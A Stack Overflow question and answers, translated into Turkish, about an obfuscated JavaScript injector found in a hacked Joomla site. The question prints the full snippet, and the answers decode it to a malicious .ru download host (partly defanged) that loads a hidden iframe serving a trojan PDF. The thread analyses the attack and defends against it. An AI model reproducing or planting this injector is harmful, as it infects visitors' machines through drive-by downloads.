Bu site enfekte komut dosyası nasıl çalışıyor?


99

Benim Joomla! web sitesi defalarca saldırıya uğradı. Birisi, bir şekilde, aşağıdaki çöpü önemli php komut dosyalarına enjekte etmeyi başardı, ancak Joomla'yı yapılandırmaktan bahsetmek istemiyorum. Site çok fazla ziyaret edilmiyor (bazen o sitenin tek ziyaretçisi olabileceğimden korktuğum zaman ...) ve sitenin tekrar çalışır durumda olması umurumda değil. Sonunda bunu halledeceğim.

Sorum şu, bu çöp nasıl çalışıyor? Ona bakıyorum ve bunun nasıl bir zarar vereceğini anlamıyorum. Yaptığı şey, bir truva atı bulaşmış ChangeLog.pdf adlı bir PDF dosyasını indirmeye çalışır ve açıldıktan sonra Acrobat'ınızı dondurur ve makinenize zarar verir. Bunu nasıl yapıyor, bilmiyorum, umrumda değil. Ancak aşağıdaki komut dosyası indirmeyi nasıl başlatır?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET bu kodu JS / TrojanDownloader.Agent.NRO trojan olarak tespit etti


41
Lütfen meraktan kimse bağlantıya göz atmayın!
DOK

1
Evet, neler olup bittiğini anlamaya çalışarak etrafta dolaşmayın, sihir, URL'nin basit kodlamasında ve ardından satırın sonunda gördüğünüz Replace / RegEx'i kullanarak dizenin kodunun çözülmesinde / ayrıştırılmasında.
DoctorLouie

13
"yazı parçası" ilk başta oldukça başka bir şey gibi okunur.
Aditya MP

Yanıtlar:


181

Dikkat replacedev dağınık dize sonra çağrıyı: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Özel karakterlerin çoğunu kaldırarak normal bir URL'ye dönüştürür:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(El değiştirdi http:için evil:)

Normal ifadenin şu şekilde basitleştirilebileceğini unutmayın: .replace(/[#$@^&()!]/ig, '')

Komut dosyasına bakarsanız, bunun /index.php?ysaynı etki alanındaki yolu içeren gizli bir IFRAME enjekte eden çok basit bir komut dosyası olduğunu göreceksiniz .

O sayfayı Fiddler'da istedim ve içeriği yoktu.


6
Sanırım iframe içeriğini sağlayan script her seferinde pdf indirmeye başlamayacak şekilde yapılmıştır. 10'da 1 ihtimal veya buna benzer bir şey olabilir. Joomla sayfasını her yenilediğimde pdf'yi indirmeyi denemedi. 100'de 1 bile olabilir ... kim bilir?
Peter Perháč

174
Kodun daha verimli yazılabileceğinden bahsettiği için +1. :)
Pekka

8
@Pekka, sanırım daha belirsiz olması için kasıtlı olarak bu şekilde yazılmış
Eliptik görünüm

7
@Elipticalview Kesinlikle. Yazar verimlilik konusunda endişeli olsaydı, statik bir dizgi türetmek için kesinlikle bir RegEx yerine kullanmazdı. Lol.
Dan Bechard

Harf içermeyen bir kalıp için büyük / küçük harfe duyarlı olmayan bir kalıp değiştiricinin ne işe yarayacağını anlamıyorum. Normal ifadeler kullanılıyorsa +, karakter sınıfından sonra da bir kullanırdım.
mickmackusa

34

Bu yanıtlar, kötü amaçlı JavaScript kodunun doğasını anlamanıza yardımcı olabilir, ancak aramanız gereken şey, Joomla motorundaki boşluğu kapatmanın bir yoludur. Önceden paketlenmiş çerçeveler, özellikle unix, mac ve Windows ortamlarında çalışmak üzere tasarlandıklarını göz önünde bulundurduğunuzda, kasıtlı veya kasıtsız boşluklara eğilimlidir.

İşim, müşteriler ve kendim için birçok sunucu ve sistem türü üzerinde birçok etki alanı, uygulama ve çerçeve çalıştırmamı gerektiriyor. Zamanla, bu sistemler tarafından oluşturulan arka kapı girişleri yoluyla bilinen boşlukları / girişleri arayan bu sistemleri tarayan daha fazla bot gördüm. İyi bir şey, nadiren yaptığım herhangi bir çerçeve türü kullandığımda, bu sinir bozucu boşluklardan / arka kapılardan kurtulmak için tüm dosya yapısını olmasa da çoğunu yeniden adlandırdığımdan emin olurum. En azından, çoğu botu atacak olan dizinleri yeniden adlandırabilirsiniz, ancak benim yöntemim, yalnızca dizinleri değil, tüm dosya yapısını da yeniden adlandırmayı içeren çerçevenin doğasına ilişkin ipuçları veren referansları tamamen ortadan kaldırmaktır. Temel çerçevenize eklenti eklemeyi kolaylaştırmak için her zaman eski adlandırma kurallarına göre yeni adlandırma kurallarının bir haritasını tutun. Bunu bir kez öğrendiğinizde, daha hızlı sonuçlar için tüm çerçeve dosya yapısını programatik olarak yeniden adlandırmaya kadar gidebilirsiniz; bu, özellikle çerçevelerini eklentiler ve benzerleriyle güncelleyebilmeleri gereken istemcilerle uğraşmak zorunda kaldığınızda yararlıdır.


1
Sadece çerçevenin kaynağı hakkındaki bilgileri kaldırmayın, bu tamamen yanlış olur.
DoctorLouie

2
Oooo, teşekkürler. Bu güzel bir cevap. Soruyu gerçekten yanıtlamıyorum ama yine de +1, çünkü bu gerçekten çok ilginç bir okuma ve iyi önerilerde bulunuldu. Ta
Peter Perháč

20

Size vermek için komut dosyası url'sinde bir normal ifade yerine

NOT: AŞAĞIDAKİ BAĞLANTIYI TAKİP ETMEYİN ( **kopyalama-yapıştırıcıları caydırmak için takılır)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

olarak src


bu kadar basit, değil mi? aman tanrım ... SO tarafından tekrar
pwnd

23
Bu çok komik bir URL.
Jordan Running

@Josh - Size kalmış, denemedim, bu yüzden tam olarak nedenini söyleyemem. Sayfada kötü amaçlı komut dosyaları olabileceğinden şüpheleniyorum. Bunu kendi sorumluluğunuzda yapabilirsiniz!
Russ Cam

8

Çöp karakterlerini regex kullanarak değiştirmek için değiştirme işlevini kullanır, kodda yanlış bir şey yoktur:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

Kaynak kod dosyası

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

Ve bu komut dosyası iframegörünürlüklehidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

Her şeyi okuduğunuzda, bunun bir dizge ve ardından bir değiştirme komutu olduğunu görürsünüz.


2

Sayfalarımda indeks *. * Dosyalarında aynı sript var. PHP'de kendi kodumu yazıyorum. Sorum bunun nasıl çalıştığı değil, ancak arka kapılarını biliyorsanız nasıl korunacağınızı soruyorum. Formları değiştirdim ve <> ve http: // vb. Yerine $ _POST ve $ _GET okudum.


2

Benim görüşüm. Joomlapack gibi bir Joomla yedekleme aracı yüklediniz mi / yükleyebilir misiniz?

Hırsızların gasp etme ihtimaline karşı malları el altında tutmak için bir CHRON komut dosyasıyla çalışacak şekilde ayarladım.

Joomla'nın hangi sürümünü çalıştırıyorsunuz?

1.0.X sürümleri artık güncellenmiyor ve yaşı gerçekten görünmeye başlıyor. Yedeklemeyi kendinize borçlusunuz ve 1.5'e yükseltmeyi planlıyorsunuz ve 1.6'nın harikalarını öngörüyorsunuz

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.